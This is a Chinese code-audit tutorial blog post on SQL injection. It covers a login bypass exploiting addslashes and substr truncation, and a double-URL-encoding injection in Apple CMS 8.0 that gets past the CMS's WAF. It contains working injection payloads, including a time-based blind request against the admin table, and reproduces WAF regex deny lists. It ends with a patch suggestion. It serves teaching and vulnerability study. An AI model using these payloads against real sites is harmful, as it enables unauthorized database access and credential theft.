【漏洞练习-Day13】苹果CMS视频分享程序 8.0 SQL注入漏洞

开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day13
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 13 - Turkey Baster代码如下:

class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $user = $this->sanitizeInput($this->user);
    $pass = $this->sanitizeInput($this->password);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) > $length) {
      $input = substr($input, 0, $length);
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
  exit;
}

漏洞解析 :
这是一道典型的用户登录程序,从代码来看,考察的应该是通过SQL注入 绕过登陆验证。代码 第33行

$auth = new LoginManager($_POST['user'], $_POST['passwd']);

通过 POST方式传入 userpasswd两个参数,通过 isValid()来判断登陆是否合法。我们跟进一下isValid()这个函数,该函数主要功能代码在 第12行-第22行

 public function isValid() {
    $user = $this->sanitizeInput($this->user);
    $pass = $this->sanitizeInput($this->password);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

我们看到 上面2行3行 调用sanitizeInput()针对 userpassword进行相关处理。

跟进一下 sanitizeInput(),主要功能代码在 第24行-第29行

 public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) > $length) {
      $input = substr($input, 0, $length);
    }
    return $input;

这里针对输入的数据调用 addslashes函数进行处理,然后再针对处理后的内容进行长度的判断,如果长度大于20,就只截取前20个字符
具体定义如下:

addslashes() 函数:

(PHP 4, PHP 5, PHP 7)

功能:

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
定义:
addslashes(string)
说明:
参数 描述
string 必需。规定要转义的字符串。
范例:

在这里插入图片描述
结果:

Who’s Peter Griffin? This is not safe in a database query.
Who’s Peter Griffin? This is safe in a database query.

那这题已经过滤了单引号,正常情况下是没有注入了,那为什么还能导致注入了,原因实际上出在了 substr函数,我们先看这个函数的定义:

substr() 函数:

(PHP 4, PHP 5, PHP 7)

功能:

substr() 函数返回字符串的一部分。

定义:
substr(string,start,length)

注释:如果 start参数是负数且 length 小于或等于 start,则 length0

说明:
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始;负数 - 在从字符串结尾的指定位置开始;0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回;负数 - 从字符串末端返回
范例:
<?php
// Positive numbers:
echo substr("Hello world",10)."<br>";
echo substr("Hello world",1)."<br>";
echo substr("Hello world",3)."<br>";
echo substr("Hello world",7)."<br>";
echo "<br>";

// Negative numbers:
echo substr("Hello world",-1)."<br>";
echo substr("Hello world",-10)."<br>";
echo substr("Hello world",-8)."<br>";
echo substr("Hello world",-4)."<br>";
?>

结果:

d
ello world
lo world
orld

d
ello world
lo world
orld

那么再回到这里,我们知道反斜杠可以取消特殊字符的用法,而注入想要通过单引号闭合,在这道题里势必会引入反斜杠。所以我们能否在反斜杠单引号之间截断掉,只留一个反斜杠呢?答案是可以,我们看个以下这个例子。
在这里插入图片描述
在这个例子中,我们直接使用题目代码中的过滤代码,并且成功在反斜杠单引号之间截断了,那我们把这个payload带入到题目代码中,拼接一下 第17行-第19行代码中的sql语句。

      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'

这里的sql语句由于反斜杠的原因, user = '1234567890123456789\'最后这个单引号便失去了它的作用。这里我们让pass=or 1=1#,那么最后的sql语句如下:

select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'

这时候在此SQL语句中,user值为 1234567890123456789\' AND password =,因此我们可以保证带入数据库执行的结果为True ,然后就能够顺利地通过验证。
所以这题最后的 payload 如下所示:

user=1234567890123456789'&passwd=or 1=1#

实例分析:

本次实例分析, 我们选择苹果CMS视频分享程序 8.0进行相关漏洞分析 。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

漏洞的位置是在 inc\common\template.php (753-755行),我们先看看相关代码:

 if (!empty($lp['wd'])){
	$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}		 

这里代码的 第2行 位置,$lp['wd']变量位置存在字符串拼接,很明显存在 sql注入 ,但是这个cms具有一些通用的注入防护,所以我们从头开始一步步的看。

首先在 inc\module\vod.php文件中(93-97行)的,

elseif($method=='search')
{
	$tpl->C["siteaid"] = 15;
	$wd = trim(be("all", "wd")); $wd = chkSql($wd);
	if(!empty($wd)){ $tpl->P["wd"] = $wd; }}

我们看到 第1行 代码当 $method=search成立的时候,进入了 第4行中的be("all", "wd")获取请求中wd参数的值,并且使用 chkSql()函数针对wd 参数的值进行处理。

跟进一下 be() 函数,其位置在 inc\common\function.php文件中(266-294行),关键代码如下:

function be($mode,$key,$sp=',')
{
	ini_set("magic_quotes_runtime", 0);
	$magicq= get_magic_quotes_gpc();
	switch($mode)
	{
		case 'post':
			$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
			break;
		case 'get':
			$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
			break;
		case 'arr':
			$arr =isset($_POST[$key]) ? $_POST[$key] : '';
			if($arr==""){
				$value="0";
			}
			else{
				for($i=0;$i<count($arr);$i++){
					$res=implode($sp,$arr);
				} 
			}
			break;
		default:
			$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
			break;
	}
	return $res;
}

这部分代码的作用就是对GET,POST,REQUEST接收到的参数进行 addslashes的转义处理。根据前面针对 be("all", "wd")的分析,我们知道 wd参数的值是通过 REQUEST方式接收,并使用addslashes 函数进行转义处理。

再回到 inc\module\vod.php文件中的,我们跟进一下 chkSql()函数,该函数位置在inc\common\360_safe3.php文件中(27-43行),具体代码如下:

function chkSql($s)
{
	global $getfilter;
	if(empty($s)){
		return "";
	}
	$d=$s;
	while(true){
		$s = urldecode($d);
		if($s==$d){
			break;
		}
		$d = $s;
	}
	StopAttack(1,$s,$getfilter);
	return htmlEncode($s);
}

分析一下这部分代码的作用,其实就是在 第8行-第12行针对接收到的的变量进行循环的 urldecode (也就是url解码)动作
然后在 第15行,使用StopAttack函数解码后的数据进行处理,最后将处理后的数据通过 htmlEncode方法进行最后的处理,然后返回处理之后的值。
我们先跟进一下 StopAttack函数,该函数位置在inc\common\360_safe3.php 文件中(12-26行),我们截取部分相关代码如下:

function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
	$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-
	color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\">
	<br>您的提交带有不合法参数,谢谢合作!
	<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>
	操作页面:".$_SERVER["PHP_SELF"]."<br>
	提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
	$StrFiltValue=arr_foreach($StrFiltValue);
	$StrFiltValue=urldecode($StrFiltValue);
	
	if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
		print $errmsg;
		exit();
	}
	if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
		print $errmsg;
		exit();
	}
}

我们看到代码的 第12行-第18行调用正则进行处理,而相关的正则表达式是$ArrFiltReq变量。这里 第12行$ArrFiltReq 变量就是前面传入的 $getfilter,即语句变成:

preg_match("/".$getfilter."/is",1)

我们跟进一下$getfilter变量。该变量在 inc\common\360_safe3.php文件中(56-61行),我们截取部分相关代码如下:

//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\
(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\
(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?
\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|
fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc
_|preg_|call_|ini_|\\{if|\\{else|:php|\\{|\\}|\\(|\\)";
//post拦截规则
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\
(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?
([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|
<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\
(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?
\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|
fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc
_|preg_|call_|ini_|\\{if|\\{else|:php|\\{|\\}|\\(|\\)";
//cookie拦截规则
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|be\\(|eval\\
(|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\
(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\
(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?
SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|
(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT";

这串代码的功能显而易见,就是检测 GET,POST,COOKIE 中的恶意数据。刚刚在 chkSql()函数最后有串代码是: return htmlEncode($s); ,我们跟进一下 htmlEncode 函数。该函数位置在inc\common\function.php文件中(572-586行),相关代码如下:

function htmlEncode($str)
{
	if (!isN($str)){
		$str = str_replace(chr(38), "&#38;",$str);
		$str = str_replace(">", "&gt;",$str);
		$str = str_replace("<", "&lt;",$str);
		$str = str_replace(chr(39), "&#39;",$str);
		$str = str_replace(chr(32), "&nbsp;",$str);
		$str = str_replace(chr(34), "&quot;",$str);
		$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
		$str = str_replace(chr(13), "<br />",$str);
		$str = str_replace(chr(10), "<br />",$str);
	}
	return $str;
}

这段代码的功能是针对 &'空格"TAB回车换行大于小于号 等符号进行实体编码转换。但是这里百密一疏,没有针对其他的空白字符和反斜杠进行处理。这里先埋下一个伏笔,我们继续往下看。

首先注入点是在 inc\common\template.php ,相关代码如下:

 if (!empty($lp['wd'])){
	$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}		 

我们继续看看这个 $lp['wd']的值是怎么获取的,在inc\common\template.php(545-568行)文件中找到其相关代码:

case 'vod':
	$tb = 'vod';
	$col = '`d_id`, `d_name`, `d_subname`, `d_enname`, `d_letter`, `d_color`, `d_pic`, `d_picthumb`, `d_picslide`, `d_starring`, `d_directed`, `d_tag`, `d_remarks`, `d_area`, `d_lang`, `d_year`, `d_type`, `d_class`, `d_hide`, `d_lock`, `d_state`, `d_level`, `d_usergroup`, `d_stint`, `d_stintdown`, `d_hits`, `d_dayhits`, `d_weekhits`, `d_monthhits`, `d_duration`, `d_up`, `d_down`, `d_score`,`d_scoreall`, `d_scorenum`, `d_addtime`, `d_time`, `d_hitstime`, `d_maketime`, `d_playfrom`, `d_playserver`, `d_playnote`,`d_downfrom`, `d_downserver`, `d_downnote` ';
	if(strpos($this->markdes,':content')>0){
		$col .= ', `d_content`';
	}
	
    if(!empty($this->P["order"])){ $lp['order'] = $this->P["order"]; $this->P["auto"] = true; }
    if(!empty($this->P["by"])){ $lp['by'] = $this->P["by"]; $this->P["auto"] = true; }
    if(!empty($lp['pagesize'])){
	    if(!empty($this->P["area"])){ $lp['area'] = $this->P["area"]; $this->P["auto"] = true; }
	    if(!empty($this->P["year"])){ $lp['year']  = $this->P["year"]; $this->P["auto"] = true; }
		if(!empty($this->P["lang"])){ $lp['lang']  = $this->P["lang"]; $this->P["auto"] = true; }
		if(!empty($this->P["letter"])){ $lp['letter']  = $this->P["letter"]; $this->P["auto"] = true; }
		if(!empty($this->P["class"])){ $lp['class']  = $this->P["class"]; $this->P["auto"] = true; }
		if(!empty($this->P["wd"])){ $lp['wd']  = $this->P["wd"]; $this->P["auto"] = true; }
		if(!empty($this->P["pinyin"])){ $lp['enname']  = $this->P["pinyin"]; $this->P["auto"] = true; }
		if(!empty($this->P["tag"])){ $lp['tag']  = $this->P["tag"]; $this->P["auto"] = true; }
		if(!empty($this->P["starring"])){ $lp['starring']  = $this->P["starring"]; $this->P["auto"] = true; }
		if(!empty($this->P["directed"])){ $lp['directed']  = $this->P["directed"]; $this->P["auto"] = true; }
		if(!empty($this->P["typeid"])){ $lp['type']  = $this->P["typeid"]; $this->P["auto"] = true; }
		if(!empty($this->P["classid"])){ $lp['class']  = $this->P["classid"]; $this->P["auto"] = true; }
		if(!empty($this->P["ids"])){ $lp['ids']  = $this->P["ids"]; }
	}

上图第13行 ,当P['wd']不为空的时候,$lp['wd']是从 P["wd"]中获取到数据的。根据前面我们的分析,在 inc\module\vod.php文件中的存在这样一行代码: $tpl->P["wd"] = $wd;

elseif($method=='search')
{
	$tpl->C["siteaid"] = 15;
	$wd = trim(be("all", "wd")); $wd = chkSql($wd);
	if(!empty($wd)){ $tpl->P["wd"] = $wd; }	 

wd是可以从REQUEST中获取到,所以这里的wd实际上是可控的。

漏洞利用:

现在我们需要针对漏洞进行验证工作,这就涉及到POC的构造。在前面分析中,我们知道 htmlEncode 针对 &'空格"TAB回车换行大于小于号进行实体编码转换。但是这里的注入类型是字符型注入,需要引入单引号来进行闭合,但是 htmlEncode函数又对单引号进行了处理。因此我们可以换个思路。

我们看到注入攻击的时候,我们的 $lp['wd']参数可以控制SQL语句中的两个位置,因此这里我们可以通过引入 反斜杠 进行单引号的闭合,但是针对前面的分析我们知道其调用了 addslashes函数进行转义处理,而 addslashes会对反斜杠进行处理,但是这里对用户请求的参数又会先进行url解码 的操作,因此这里可以使用 双url编码绕过addslashes 函数。

 if (!empty($lp['wd'])){
	$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';}		 

进入搜索:
在这里插入图片描述
抓包:
在这里插入图片描述
在这里插入图片描述

这里我没有复现成功

POST /maccms8/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Connection: keep-alive
Upgrade-Insecure-Requests: 1

wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(sleep(3)),0)#%25%35%63

在这里插入图片描述

payload传到程序里,经过拼接后的数据库语句如下所示:

在这里插入图片描述

修复建议:

这里的防御手段其实已经很多了,但就是因为这么多防御手段结合在一起出现了有趣的绕过方式。

function htmlEncode($str)
{
	if (!isN($str)){
		$str = str_replace(chr(38), "&#38;",$str);
		$str = str_replace(">", "&gt;",$str);
		$str = str_replace("<", "&lt;",$str);
		$str = str_replace(chr(39), "&#39;",$str);
		$str = str_replace(chr(32), "&nbsp;",$str);
		$str = str_replace(chr(34), "&quot;",$str);
		$str = str_replace(chr(9), "&nbsp;&nbsp;&nbsp;&nbsp;",$str);
		$str = str_replace(chr(13), "<br />",$str);
		$str = str_replace(chr(10), "<br />",$str);
        $str = str_replace(chr(92), "<br />",$str);      //新增修复代码
	}
	return $str;
}

反斜杠的ascii码是92,这里新增一行代码处理反斜杠。
在这里插入图片描述

结语

再次感谢【红日团队】

参考文章

PHP的两个特性导致waf绕过注入

request导致的安全性问题分析

发布了35 篇原创文章 · 获赞 19 · 访问量 5186

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104044347